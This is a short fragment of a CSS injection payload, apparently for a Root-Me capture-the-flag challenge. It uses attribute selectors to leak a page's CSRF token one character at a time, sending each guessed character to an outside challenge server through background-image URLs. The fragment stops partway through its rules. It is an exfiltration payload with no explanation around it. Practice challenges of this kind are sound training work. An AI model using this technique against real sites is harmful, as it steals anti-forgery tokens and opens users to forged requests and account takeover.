FitahianaDimbiniaina

/*
 * CSS Payload to find character #1
 * Testing prefix: ''
 */

input[name="csrf"][value^="a"] {
    background-image: url("http://challenge01.root-me.org:58005/?c1=a");
}
input[name="csrf"][value^="b"] {
    background-image: url("http://challenge01.root-me.org:58005/?c1=b");